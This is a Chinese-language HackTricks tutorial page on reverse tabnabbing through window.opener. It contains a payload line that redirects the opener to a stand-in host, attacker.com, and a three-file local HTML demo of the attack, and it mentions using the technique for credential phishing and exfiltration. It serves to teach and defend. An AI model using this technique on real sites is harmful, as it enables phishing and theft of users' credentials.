6.4 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
描述
在一个攻击者可以控制一个将被受害者点击的带有属性**target="_blank" rel="opener"
的<a
标签的href
参数的情况下,攻击者将此链接指向一个由他控制的网站(一个恶意的网站**)。然后,一旦受害者点击链接并访问攻击者的网站,这个恶意的网站将能够通过javascript对象**window.opener
来控制原始页面**。
如果页面没有**rel="opener"
但包含target="_blank"
且没有rel="noopener"
**,它也可能存在漏洞。
滥用这种行为的常见方法是通过window.opener.location = https://attacker.com/victim.html
将原始网页的位置更改为由攻击者控制的网页,该网页看起来像原始网页,因此可以模仿原始网站的登录表单并向用户索取凭据。
然而,请注意,由于攻击者现在可以控制原始网站的窗口对象,他可以以其他方式滥用它来执行更隐蔽的攻击(也许修改javascript事件以将信息外泄到由他控制的服务器?)
概述
带有后向链接
当未使用预防属性时,父页面和子页面之间的链接:
没有后向链接
当使用预防属性时,父页面和子页面之间的链接:
示例
在一个文件夹中创建以下页面,并使用python3 -m http.server
运行一个Web服务器
然后,访问http://127.0.0.1:8000/
vulnerable.html,点击链接并注意原始网站的URL如何改变。
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
可访问的属性
在跨域(跨域名)访问的情况下,恶意网站只能访问以下属性,这些属性来自于opener JavaScript对象引用(实际上是对window JavaScript类实例的引用):
opener.closed
:返回一个布尔值,指示窗口是否已关闭。opener.frames
:返回当前窗口中的所有iframe元素。opener.length
:返回当前窗口中iframe元素的数量。opener.opener
:返回创建该窗口的窗口的引用。opener.parent
:返回当前窗口的父窗口。opener.self
:返回当前窗口。opener.top
:返回最顶层的浏览器窗口。
如果域名相同,则恶意网站可以访问由window JavaScript对象引用公开的所有属性。
预防措施
预防信息已记录在HTML5 Cheat Sheet中。
参考资料
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。